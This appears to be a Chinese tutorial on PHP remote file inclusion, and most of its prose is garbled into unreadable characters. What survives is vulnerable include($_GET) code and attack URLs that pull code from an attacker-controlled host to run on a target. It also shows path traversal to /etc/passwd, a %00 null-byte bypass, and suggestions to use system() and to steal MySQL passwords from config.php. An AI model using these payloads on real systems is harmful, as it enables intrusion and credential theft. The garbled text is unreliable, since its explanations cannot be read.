PHPԶ̰
phpԶ˵©
ƪһphpԶ̵©ԭʽʦ˱ؿ
صҪظſ
ȵǣʲôǡԶ̵©ҪĻشŷͨphp˲ϣӶȥִһǸʽʦϵ⣬סеcgiʽbug
1.ҳbug
Ϊ˷Ŀ꣬Ҫֵ֪ĺ壬()ַĵphpʹinclude()Ḷ́
Main.phpinclude1.php,ҽдinclude("include1.php").ǺܿѧҪ֪еĵ
ȿûͨͰҲ
if ($_GET) {
include $_GET;
} else {
include "home.php";
}
ֽṹڶ̬վdzģhttp://www.target.com /explame.php?page=main.phphttp://www.target.com/explame.php? page=downloads.php鿴ΣijʽbugҲܱˣֻܹ㣬ֻһ˵⣬һ˾Script hacker.zone-h.orgĵĹռ9.4%㹻ӣҲһ⣬ǰˣ˽죬һһʽʦ·ߣԾƪ£2004дѾϵһҪдϾɧʱͲɧˡ
2.
иԶ˵ӣĿֻһΪijʽȫ
http://www.target.com/explame.php?page=zizzy
Warning: main(zizzy): failed to open stream: No such file or directory in /var/www/htdocs/index.php on line 3
Warning: main(): Failed opening 'zizzy' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs/index.php on line 3
phpЩѶǣʽȥ/var/www/htdocs/zizzyûҵ˰ɣNo such file or directoryûĵ˰ɡ
3.
phpȷʵܺãԶ˵õҴһyeah.txt,ҵվhttp://www.mysite.com/yeah.txt.
<?
echo "Wow,test!";
?>
ôhttp://www.target.com/explame.php?pa...e.com/yeah.txt
OK,Wow,test!ִˡȡconfig.phpҲѰɣmysql밡yeah.txtд<? phpinfo; ?>дsystem()ȥԣʲô룬ڹֵ㣬ύpage=../../../../.. /../../etc/passwd֪ʲôİ˰ɡ
4.һ
ʱʽʦдд˰Χ
if ($_GET) {
include "$_GET.php";
} else {
include "home.php";
}
ύhttp://www.target.com/explame.php?pa...e.com/yeah.txt
Warning: main(http://www.mysite.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/www/htdocs/explame.php on line 3
Warning: main(): Failed opening 'http://www.mysite.com/yeah.txt.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/htdocs /explame.php on line 3
ʧˣβΪphp,mysite.comyeah.txtΪyeah.php,ok,ִ
passwdô
Warning: main(../../../../../../../etc/passwd.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var /www/htdocs/explame.php on line 3
Warning: main(): Failed opening '../../../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/lib /php') in /var/www/htdocs/explame.php on line 3
ʹøNULԪҲ%00
http://www.target.com/explame.php?pa.../etc/passwd%00
ҳ:
[1]